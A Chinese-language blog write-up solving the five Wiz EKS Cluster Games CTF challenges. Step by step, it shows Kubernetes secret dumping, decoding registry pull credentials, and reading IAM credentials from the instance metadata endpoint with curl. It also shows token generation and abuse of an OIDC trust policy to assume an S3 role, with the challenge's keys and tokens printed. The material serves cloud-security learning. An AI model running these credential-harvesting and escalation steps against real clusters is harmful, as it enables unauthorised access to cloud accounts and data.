跟WIZ学K8s安全与云安全--CTF挑战赛

最近在看WIZ的CTF挑战,做了一下还挺有意思,记录一下在做题时遇到的问题和知识点。

挑战链接:https://eksclustergames.com/challenge/

本次挑战需要的前置知识主要有

1
2
3
4
5
1.K8S运维命令,如kubectl describe/get
2.AWS s3 常用命令
3.AWS s3 CLI 身份配置
4.AWS IAM
5.AWS sts安全凭证管理

建议先熟悉aws s3基础命令与kubectl 基础命令,然后进行挑战。

challenge1

题目描述

1
2
3
4
5
Secret Seeker

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

通过列出集群中的所有秘密来启动您的任务。你能在他们中间认出那面旗帜吗?

根据题目描述,这题应该是和k8s的secret相关。

在K8S中,secret用来保存小片敏感数据的k8s资源,例如密码,token,或者秘钥。我理解的secret是k8s中的一种资源类型

本题对当前用户secret资源的权限是get和list

1
2
3
4
5
6
{
"secrets": [
"get",
"list"
]
}

那么就可以直接用kubectl去查看

image-20231224132456810

使用命令kubectl get secret secret_name -o json查看secret的具体内容,使用describe命令看不到secret的具体内容,所以这里用get,使用**-o**指定输出格式为json

image-20231224132647269

Flag1:wiz_eks_challenge{omg_over_privileged_secret_access}

challenge2

题目描述

1
2
3
4
5
6
7
Registry Hunt

A thing we learned during our research: always check the container registries.

For your convenience, the [crane](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) utility is already pre-installed on the machine.

我们在研究过程中学到的一件事是:总是检查容器注册表。为方便起见,[crane](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md)实用程序已经预装在机器上。

当前用户对k8s资源的权限为

1
2
3
4
5
6
7
8
9
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}

可以get secret,list get pod

先看一下secrets和pods里面有什么

secret没有list权限,看下hint,hint2是Reading about ImagePullSecrets might be useful ,提示找ImagePullSecrets。

经过搜索发现,ImagePullSecrets在image的配置中

image-20231224133600445

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kubectl get pod database-pod-2c9b3a4e -o json
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubernetes.io/psp": "eks.privileged",
"pulumi.com/autonamed": "true"
...
"imageID": "docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623",
....
"imagePullSecrets": [
{
"name": "registry-pull-secrets-780bab1d"
}
...

现在已经拿到了ImagePullSecrets,hint1是Try obtaining the container registry credentials to pull container images and examine them for sensitive secrets.提示我们可能有机密文件藏在容器镜像里面,那么我们接下来需要做的就是获取容器镜像。

在我本机直接docker pull试试,提示没有权限

image-20231224134013637

那么考虑这是一个私有的docker镜像仓库,需要login进去。

目前我们已经有imagePullSecrets,通过kubectl get secrets registry-pull-secrets-780bab1d -o json命令可以查看这个secrets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kubectl get secrets registry-pull-secrets-780bab1d -o json
{
"apiVersion": "v1",
"data": {
".dockerconfigjson": "eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"
},
"kind": "Secret",
"metadata": {
"annotations": {
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:31:29Z",
"name": "registry-pull-secrets-780bab1d",
"namespace": "challenge2",
"resourceVersion": "897340",
"uid": "1348531e-57ff-42df-b074-d9ecd566e18b"
},
"type": "kubernetes.io/dockerconfigjson"
}

解base64 可以看到docker登录信息

1
2
3
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}
再解一次
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

然后 docker login

image-20231224134639022

到这里就是docker登录成功了,重复刚才pull的操作,可以看到pull是没问题的

image-20231224134706711

然后查看一下image的历史记录

image-20231224134809165

找到flag2 wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}

challenge3

题目描述

1
2
3
4
5
6
Image Inquisition
A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod.

For your convenience, the crane utility is already pre-installed on the machine.

EKS 是 AWS 提供的托管 K8S 集群,Amazon Elastic Container Registry (ECR) 是一种完全托管的 Docker 容器注册表,开发人员可使用它轻松存储、管理和部署 Docker 容器镜像。

当前的权限只有get/list pods,先看一下pods里面有什么

kubectl get pods -o json

1
"imageID": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",

当然,直接pull也不行。

题目给出了当前是在AWS的EKS中,我们的目的是从EKS横向到AWS中。

通过在EKS中访问169.254.169.254/latest/meta-data可以获取一些信息

通过访问169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole可以获取IAM相关的信息

1
2
curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVM2TORP3VO","Expiration":"2023-12-24 06:56:25+00:00","SecretAccessKey":"kDLFtTHNjzPec5X71YL3BzeUvDzWyJxPuws7qQjf","SessionToken":"FwoGZXIvYXdzEN///////////wEaDOfArbgAczkmiTYjGCK3AVUnVd1OaYk56+8XRY9NBwfNpcEMr3nEzeV//1Ln1qF9AL2c+dFO9iZKDaj8sVy7nx/2CKbb9uxEO0cSJpAUB2blFauosGC4IrTcF1u9oqT2px/i0+EtLqbj+tW4CMezwIzWLe1yFVURFRuwET3hQFWJnFVmOvJ9JtfNpqV5TjSt2vzK8HuDFREDzP7tj6yy57iKNJRwvpA1TKql0RXRhyotE8ADkvYxkZHwNBM4wcJUXcWgXJA0USiJkJ+sBjIttqoyUlIC7cLuqzE8SZc9VzQc6TTwriI1Xuz7nAa0qRGjNcsJqepxgARs0CIe"}

到这儿就非常简单了,直接给了AK SK session key

在终端里面执行如下命令

1
2
3
export AWS_SECRET_ACCESS_KEY=kDLFtTHNjzPec5X71YL3BzeUvDzWyJxPuws7qQjf
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM2TORP3VO
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEN///////////wEaDOfArbgAczkmiTYjGCK3AVUnVd1OaYk56+8XRY9NBwfNpcEMr3nEzeV//1Ln1qF9AL2c+dFO9iZKDaj8sVy7nx/2CKbb9uxEO0cSJpAUB2blFauosGC4IrTcF1u9oqT2px/i0+EtLqbj+tW4CMezwIzWLe1yFVURFRuwET3hQFWJnFVmOvJ9JtfNpqV5TjSt2vzK8HuDFREDzP7tj6yy57iKNJRwvpA1TKql0RXRhyotE8ADkvYxkZHwNBM4wcJUXcWgXJA0USiJkJ+sBjIttqoyUlIC7cLuqzE8SZc9VzQc6TTwriI1Xuz7nAa0qRGjNcsJqepxgARs0CIe

执行之后可以env看一下有没有写入

image-20231224135956677

执行命令aws sts get-caller-identity 查看当前权限(aws sts用于创建可控制对您的 Amazon 资源的访问的临时安全凭证,并将这些凭证提供给受信任用户,总而言之和身份认证相关)

image-20231224140044059

我们的目的是登录docker pull image,由于已经接管了aws权限,所以可以接管ecr生成登录密码

aws ecr get-login-password –region us-west-1(这个region是我通过读取kubectl get pods -o json命令结果看到的)

这里面必须指定region,否则密码不对,后面登录不上

1
eyJwYXl....M1fQ==

接下来用这个密码登录docker就ok,这里使用crane登录

aws ecr get-login-password | crane auth login –username AWS –password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com

image-20231224140630965

查看image的config

crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

1
2
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-...
ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # ...

找到flag

wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}

challenge4

题目描述

1
2
Pod Break
You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?

看题目描述有点像传统渗透中的提权,先看下permission。。竟然什么都没有

这就有点难办了,直接搜eks提权肯定搜不到东西

当前在aws中,使用eks看下

aws eks list-clusters 没有权限

看一下其他命令

aws eks get-token需要 cluster-name或者cluster-id,但是这两个都没有

目前需要找的是cluster-name或者cluster-id,题目hint The convention for the IAM role of a node follows the pattern: [cluster-name]-nodegroup-NodeInstanceRole.

这不巧了吗,aws sts get-caller-identity可以看到一串

arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282

那么就可以得到cluster-name就是eks-challenge-cluster,接下来就可以愉快的get-token

aws eks get-token –cluster-name eks-challenge-cluster

image-20231224142258171

那么使用这个token就可以去操作kubectl

image-20231224142903732

kubectl get secret node-flag -o json –token k8s-a

得到flag

d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=

wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}

challenge5

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Container Secrets Infrastructure
You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

IAM:
{
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}
Trust policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
}
}
}
]
}
权限:
{
"secrets": [
"get",
"list"
],
"serviceaccounts": [
"get",
"list"
],
"pods": [
"get",
"list"
],
"serviceaccounts/token": [
"create"
]
}

根据题目描述,这题大概的考点是从EKS横向到AWS,最终读取S3 bucket中的flag

对于第一个IAM的配置,告诉了我们flag的位置

对于第二个 trust policy的配置,允许AssumeRoleWithWebIdentity操作的OIDC audience字段必须为sts.amazonaws.com

对于第三个权限配置,允许get/list secrets、sa、pods、以及创建sa的token

1
2
service account(sa),顾名思义,主要是给service使用的一个账号。
具体一点,就是为了让Pod中的进程、服务能访问k8s集群而提出的一个概念,基于service account,pod中的进程、服务能获取到一个username和令牌Token,从而调用kubernetes集群的api server。

先在kubectl看一下有什么sa

image-20231224143947159

Kubectl create token s3access-sa 创建token没有权限,只能创建debug-sa的token

这题的考点在信任策略(TP)中,”在Kubernetes的TokenRequest API中,sub(subject)字段通常被用来表示令牌的主体,也就是令牌的所有者。这通常是一个服务账户。如果IAM信任策略没有对sub字段进行检查,那么任何能够生成有效OIDC令牌的服务账户都可以扮演这个IAM角色。”

那么我们可以生成一个debug-sa的token,指定audience为sts.amazonaws.com

kubectl create token debug-sa –audience sts.amazonaws.com

1
eyJhb..LUoBbGdG5PIg2JumEx0I2V2GvIAHuIUM-IZ1dsYkVJSRfqR8JQCf-NQqJIEg

使用这个token,通过sts调用AssumeRoleWithWebIdentity方法,可以获得一个临时的身份认证凭据

aws sts assume-role-with-web-identity –role-arn xxx –role-session-name foobar –web-identity-token eyJ…

其中,这个arn是s3access-sa的arn,通过命令 kubectl get sa s3access-sa -o json 获得:arn:aws:iam::688655246681:role/challengeEksS3Role

那么最终的命令就是

1
aws sts  assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role  --role-session-name foobar --web-identity-token eyJhb..qJIEg

ok,拿到三件套

image-20231224144951158

1
2
3
export AWS_SECRET_ACCESS_KEY=guhNvCvXpCFMAIBauigUeDcy06a2hNwM/CNliEWd
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM7VVFVCGV
export AWS_SESSION_TOKEN=IQoJb3Jp..pw==

image-20231224145054792

根据第一个IAM policy给的地址challenge-flag-bucket-3ff1ae2,找到flag

image-20231224145130399

wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}

总结

考察点比较基础,重在掌握aws、k8s基本的运维与操作命令。

同时aws身份认证、策略也是容易出问题的点(misconfiguration),要学会审计策略。

参考

https://cloud.tencent.com/developer/article/2371571

https://developer.aliyun.com/article/1398162

https://cloud.tencent.com/developer/article/2371571